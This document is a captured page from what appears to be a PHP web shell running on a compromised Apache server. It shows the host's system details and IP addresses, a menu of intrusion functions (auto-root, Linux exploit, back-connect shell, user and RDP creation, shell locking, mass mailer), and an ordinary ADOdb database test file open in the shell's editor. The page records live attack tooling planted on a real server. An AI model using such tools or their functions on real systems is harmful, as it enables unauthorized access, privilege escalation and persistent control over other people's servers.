Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.149.254.35
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
website /
gack /
libs /
adodb5 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
a.mdb
1.96
MB
-rwxr-xr-x
benchmark.php
2.03
KB
-rwxr-xr-x
client.php
3.99
KB
-rwxr-xr-x
pdo.php
1.73
KB
-rwxr-xr-x
test-active-record.php
2.28
KB
-rwxr-xr-x
test-active-recs2.php
1.39
KB
-rwxr-xr-x
test-datadict.php
7.44
KB
-rwxr-xr-x
test-perf.php
909
B
-rwxr-xr-x
test-pgblob.php
1.99
KB
-rwxr-xr-x
test-php5.php
2.48
KB
-rwxr-xr-x
test-xmlschema.php
1.28
KB
-rwxr-xr-x
test.php
54.17
KB
-rwxr-xr-x
test2.php
573
B
-rwxr-xr-x
test3.php
896
B
-rwxr-xr-x
test4.php
4.56
KB
-rwxr-xr-x
test5.php
1.35
KB
-rwxr-xr-x
test_rs_array.php
679
B
-rwxr-xr-x
testcache.php
806
B
-rwxr-xr-x
testdatabases.inc.php
17.49
KB
-rwxr-xr-x
testgenid.php
731
B
-rwxr-xr-x
testmssql.php
1.99
KB
-rwxr-xr-x
testoci8.php
2.31
KB
-rwxr-xr-x
testoci8cursor.php
2.9
KB
-rwxr-xr-x
testpaging.php
2.26
KB
-rwxr-xr-x
testpear.php
873
B
-rwxr-xr-x
testsessions.php
2.08
KB
-rwxr-xr-x
time.php
520
B
-rwxr-xr-x
tmssql.php
1.84
KB
-rwxr-xr-x
xmlschema-mssql.xml
832
B
-rwxr-xr-x
xmlschema.xml
961
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test4.php
<?php /** * @version V4.50 6 July 2004 (c) 2000-2008 John Lim (jlim#natsoft.com.my). All rights reserved. * Released under both BSD license and Lesser GPL library license. * Whenever there is any discrepancy between the two licenses, * the BSD license will take precedence. * * Set tabs to 4 for best viewing. * * Latest version is available at http://php.weblogs.com * * Test GetUpdateSQL and GetInsertSQL. */ error_reporting(E_ALL); function testsql() { include('../adodb.inc.php'); include('../tohtml.inc.php'); global $ADODB_FORCE_TYPE; //========================== // This code tests an insert $sql = " SELECT * FROM ADOXYZ WHERE id = -1"; // Select an empty record from the database #$conn = ADONewConnection("mssql"); // create a connection #$conn->PConnect("", "sa", "natsoft", "northwind"); // connect to MySQL, testdb $conn = ADONewConnection("mysql"); // create a connection $conn->PConnect("localhost", "root", "", "test"); // connect to MySQL, testdb #$conn = ADONewConnection('oci8po'); #$conn->Connect('','scott','natsoft'); if (PHP_VERSION >= 5) { $connstr = "mysql:dbname=northwind"; $u = 'root';$p=''; $conn = ADONewConnection('pdo'); $conn->Connect($connstr, $u, $p); } //$ADODB_FETCH_MODE = ADODB_FETCH_ASSOC; $conn->debug=1; $conn->Execute("delete from adoxyz where lastname like 'Smi%'"); $rs = $conn->Execute($sql); // Execute the query and get the empty recordset $record = array(); // Initialize an array to hold the record data to insert if (strpos($conn->databaseType,'mysql')===false) $record['id'] = 751; $record["firstname"] = 'Jann'; $record["lastname"] = "Smitts"; $record["created"] = time(); $insertSQL = $conn->GetInsertSQL($rs, $record); $conn->Execute($insertSQL); // Insert the record into the database if (strpos($conn->databaseType,'mysql')===false) $record['id'] = 752; // Set the values for the fields in the record $record["firstname"] = 'anull'; $record["lastname"] = "Smith\$@//"; $record["created"] = time(); if (isset($_GET['f'])) $ADODB_FORCE_TYPE = $_GET['f']; //$record["id"] = -1; // Pass the empty recordset and the array containing the data to insert // into the GetInsertSQL function. The function will process the data and return // a fully formatted insert sql statement. $insertSQL = $conn->GetInsertSQL($rs, $record); $conn->Execute($insertSQL); // Insert the record into the database $insertSQL2 = $conn->GetInsertSQL($table='ADOXYZ', $record); if ($insertSQL != $insertSQL2) echo "<p><b>Walt's new stuff failed</b>: $insertSQL2</p>"; //========================== // This code tests an update $sql = " SELECT * FROM ADOXYZ WHERE lastname=".$conn->Param('var'). " ORDER BY 1"; // Select a record to update $varr = array('var'=>$record['lastname'].''); $rs = $conn->Execute($sql,$varr); // Execute the query and get the existing record to update if (!$rs || $rs->EOF) print "<p><b>No record found!</b></p>"; $record = array(); // Initialize an array to hold the record data to update // Set the values for the fields in the record $record["firstName"] = "Caroline".rand(); //$record["lasTname"] = ""; // Update Caroline's lastname from Miranda to Smith $record["creAted"] = '2002-12-'.(rand()%30+1); $record['num'] = ''; // Pass the single record recordset and the array containing the data to update // into the GetUpdateSQL function. The function will process the data and return // a fully formatted update sql statement. // If the data has not changed, no recordset is returned $updateSQL = $conn->GetUpdateSQL($rs, $record); $conn->Execute($updateSQL,$varr); // Update the record in the database if ($conn->Affected_Rows() != 1)print "<p><b>Error1 </b>: Rows Affected=".$conn->Affected_Rows().", should be 1</p>"; $record["firstName"] = "Caroline".rand(); $record["lasTname"] = "Smithy Jones"; // Update Caroline's lastname from Miranda to Smith $record["creAted"] = '2002-12-'.(rand()%30+1); $record['num'] = 331; $updateSQL = $conn->GetUpdateSQL($rs, $record); $conn->Execute($updateSQL,$varr); // Update the record in the database if ($conn->Affected_Rows() != 1)print "<p><b>Error 2</b>: Rows Affected=".$conn->Affected_Rows().", should be 1</p>"; $rs = $conn->Execute("select * from ADOXYZ where lastname like 'Sm%'"); //adodb_pr($rs); rs2html($rs); $record["firstName"] = "Carol-new-".rand(); $record["lasTname"] = "Smithy"; // Update Caroline's lastname from Miranda to Smith $record["creAted"] = '2002-12-'.(rand()%30+1); $record['num'] = 331; $conn->AutoExecute('ADOXYZ',$record,'UPDATE', "lastname like 'Sm%'"); $rs = $conn->Execute("select * from ADOXYZ where lastname like 'Sm%'"); //adodb_pr($rs); rs2html($rs); } testsql(); ?>
Close